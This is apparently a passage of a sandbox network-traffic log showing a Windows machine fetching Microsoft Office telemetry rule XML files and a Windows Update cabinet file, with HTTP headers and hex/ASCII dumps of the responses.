2024-10-23 19:04:13 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:13 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:13 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0688ef78-901e-0029-5550-23274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190413Z-17fbfdc98bbq2x5bzrteug30v8000000066g000000003kp1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:13 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49790	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:13 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:13 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:13 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 9cd877b9-501e-0016-1f56-23181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190413Z-17fbfdc98bb75b2fuh11781a0n0000000630000000005uh2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:13 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49793	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:13 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:14 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:14 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 4edb1b06-d01e-00a1-56e1-2035b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190414Z-r1755647c66h2wzt2z0cr0zc7400000002s0000000006ge6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:14 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49794	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:14 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:14 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:14 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 95048cb8-e01e-0051-2a5a-2384b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190414Z-17fbfdc98bb4k5z6ayu7yh2rsn000000067g000000004tnh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:14 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49796	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:14 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:14 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:14 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: d4a2e493-801e-0048-07d3-20f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190414Z-r1755647c66nxct5p0gnwngmx000000007z0000000002gw3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:14 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49795	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:14 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:14 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:14 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 1c3f4cdf-f01e-0096-775d-2310ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190414Z-17fbfdc98bbg2mc9qrpn009kgs00000006e000000000016c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:14 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49797	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:14 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:14 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:14 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 0f4ad09c-101e-007a-25db-20047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190414Z-r1755647c66vrwbmeqw88hpesn00000008f00000000020k3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:14 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49798	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:14 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=8XWemSUor4Dho7V&MD=Tu+Wl5+6 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-23 19:04:15 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 5506deb1-a431-474b-bd1d-6bb0bfdc4644 MS-RequestId: 5cbacfaa-5530-45a2-b2fa-1839dd8f9dc3 MS-CV: N8L5sVb4eUKyc1FO.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 23 Oct 2024 19:04:14 GMT Connection: close Content-Length: 24490
2024-10-23 19:04:15 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-23 19:04:15 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49800	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:14 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:14 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cc65e471-501e-008c-15b8-20cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190414Z-r1755647c66d87vp2n0g7qt8bn00000007v00000000073yn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:15 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49805	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:15 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:15 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: e131a16a-201e-005d-6a5d-23afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190415Z-17fbfdc98bb7k7m5sdc8baghes0000000650000000008d5f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:15 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49803	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:15 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:15 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 97d7c53d-b01e-001e-2be3-200214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190415Z-r1755647c66kv68zfmyfrbcqzg0000000730000000006prn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:15 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49804	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:15 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
